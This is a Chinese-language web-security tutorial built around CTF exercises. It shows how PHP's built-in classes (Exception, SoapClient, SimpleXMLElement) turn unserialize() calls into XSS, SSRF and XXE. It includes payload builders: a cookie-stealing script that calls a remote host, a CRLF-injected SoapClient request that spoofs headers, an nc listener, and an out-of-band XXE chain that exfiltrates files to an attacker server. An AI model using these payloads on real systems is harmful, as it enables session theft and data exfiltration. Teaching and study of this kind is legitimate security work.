原生自带类
参考:
https://xz.aliyun.com/news/8792
https://www.anquanke.com/post/id/264823
https://blog.csdn.net/cjdgg/article/details/115314651
php官方文档:
利用条件
- 有触发魔术方法:代码中有触发魔术方法
- 魔术方法有可利用类:使用脚本和官方文档查找php环境有无可利用类
- 部分自带类拓展开启:容错处理;
php.ini拓展extensio
生成查找原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__construct',
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

可以发现有很多原生类调用魔术方法,但不是每个都能触发,常用的就几个
案例
代码中只需要有一个反序列化操作,借助原生类实现漏洞
?php
$a = unserialize($_GET['xss']);
echo $a;
?>
以get方式传入xss参数值,传入恶意xss语句并不会触发xss,因为此时代码在做反序列化操作,传入的并不是序列化语句
在反序列化接收对象时,代码中没有可利用的类(没有危险类、没有危险方法)– > 使用语言自带的类(原生类)来进行触发漏洞
使用Error/Exception类进行XSS
注:代码中需要开启容错处理(一般开启)
主要逻辑
- 输出对象可调用
__toString代码中使用echo把类当做字符串处理,想到__toString魔术方法(漏洞触发重点)Exception原生类中存在__toString魔术方法 - 无代码通过原生类Exception案例代码中不存在危险类和危险方法,尝试使用原生类中的被调用魔术方法当使用这个原生类时,这个类会做一个异常输出,配合这个操作就满足xss执行了
- Exception使用查询编写利用<?php
$a = new Exception(“<script>alert(‘xss’)</script>”);
echo urlencode(serialize($a)); - 通过访问触发输出产生XSS漏洞

靶场案例
靶场:https://buuoj.cn/challenges#[BJDCTF%202nd]xss%E4%B9%8B%E5%85%89
目录扫描时,发现/.git目录403,则目录存在
使用Githack工具把git泄露的内容取出来:https://github.com/lijiejie/GitHack

发现index源码,反序列化操作,传参yds_is_so_beautiful
主页又显示字符输出,联想到__toString()魔术方法(把类当作字符串使用时触发),尝试使用原生类进行xss

poc:xss获取cookie
<?php
$poc = new Exception("<script>window.open('http://5cc03f67-5aaf-4878-be20-a68f37fbae1b.node5.buuoj.cn/:81/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
然后打开F12可以在Cookie一栏中发现flag
使用SoapClient类进行SSRF
主要逻辑
<?php
$s = unserialize($_GET['ssrf']);
$s->a();
- 输出对象可调用__call,重点,这里是漏洞触发核心接收一个ssrf参数值,当
$s->a();时调用方法不存在,则会去调用__call() - 无代码通过原生类SoapClient运行查找原生类脚本发现
__call()魔术方法在内置类SoapClient注:php.ini需要开启soap扩展,否则无法使用
- SoapClient使用查询编写利用php-soap官方文档:https://www.php.net/manual/zh/soapclient.call.phppop构造<?php
$a = new SoapClient(null,array(‘location’=>’http://192.168.5.7:2222/aaa’,’uri’=>’http://example.com’));
$b = serialize($a);
echo $bnc监听本地2222端口nc.exe -lvvp 2222 - 通过访问触发服务器SSRF漏洞然后传参造成ssrf,也是监听到了

靶场案例
靶场:ctfshow-web259
代码提示1:
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
$_SERVER['HTTP_X_FORWARDED_FOR']接收一个xff头,
两个条件:
- xff头必须为
127.0.0.1 - 传入token值为ctfshow
代码提示2:
<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
没有getFlag()方法 –> 调用原生类的__call() –> 利用SoapClient内置类触发ssrf
pop构造:
构造数据包,构造ua头
$ua = "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null, array('uri' => 'http://127.0.0.1/', 'location' => 'http://example.com', 'user_agent' => $ua));
echo urlencode(serialize($client));
ssrf后,条件都满足了,最后访问/flag.txt得到flag
使用SimpleXMLElement类进行xxe
主要逻辑
- 不存在的方法触发__construct
- 无代码通过原生类SimpleXMLElement
- SimpleXMLElement使用查询编写利用
调用SimpleXMLElement::__construct方法
公网服务器准备三份文件
注意文件权限问题,嫌麻烦就设置777
oob.xml:触发访问远程服务器地址上的send.xml文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://x.x.x.x./send.xml">
%remote;
%all;
%send;
]>
send.xml:触发访问远程服务器地址的send.php
利用php://filter协议读取test.php文件,然后通过变量file传到send.php接收
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://x.x.x.x/send.php?file=%file;'>">
send.php:接收send.xml读取的文件内容,保存到本地result.txt
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>

pop构造
<?php
// 远程触发需要为true
$sxe=new SimpleXMLElement('http://x.x.x.x/oob.xml',2,true);
$a = serialize($sxe);
echo $a;
最后base64解码result.txt文件就可以查看到读取的文件内容

靶场案例
靶场:[SUCTF 2018]Homework:https://buuoj.cn/challenges#[SUCTF%202018]Homework
开启后,先随便注册一个账号进入页面
页面显示如下代码:
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
定义一个calc类,使用__construct()构造方法触发calc方法
通过触发,发现有一个模式module和三个参数args
/show.php?module=calc&args[]=2&args[]=a&args[]=2
按代码逻辑看,calc就是调用calc自定义类,三个参数表示2+2,所以页面结果输出为4

尝试修改地址,调用SimpleXMLElement内置类进行xxe
/show.php?module=SimpleXMLElement&args[]=http://x.x.x.x/oob.xml&args[]=2&args[]=true
修改公网服务器上send.xml,使其读取地址指向当前靶场show.php,看能否读取
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=show.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://x.x.x.x/send.php?file=%file;'>">
靶机开放公网访问后即可读取成功
其他:ZipArchive类删除文件
https://blog.csdn.net/cjdgg/article/details/115314651
本节知识点
WEB攻防-PHP反序列化-原生类&生成及利用条件
WEB攻防-PHP反序列化-Exception触发XSS
WEB攻防-PHP反序列化-SoapClient触发SSRF
WEB攻防-PHP反序列化-SimpleXMLElement触发XXE
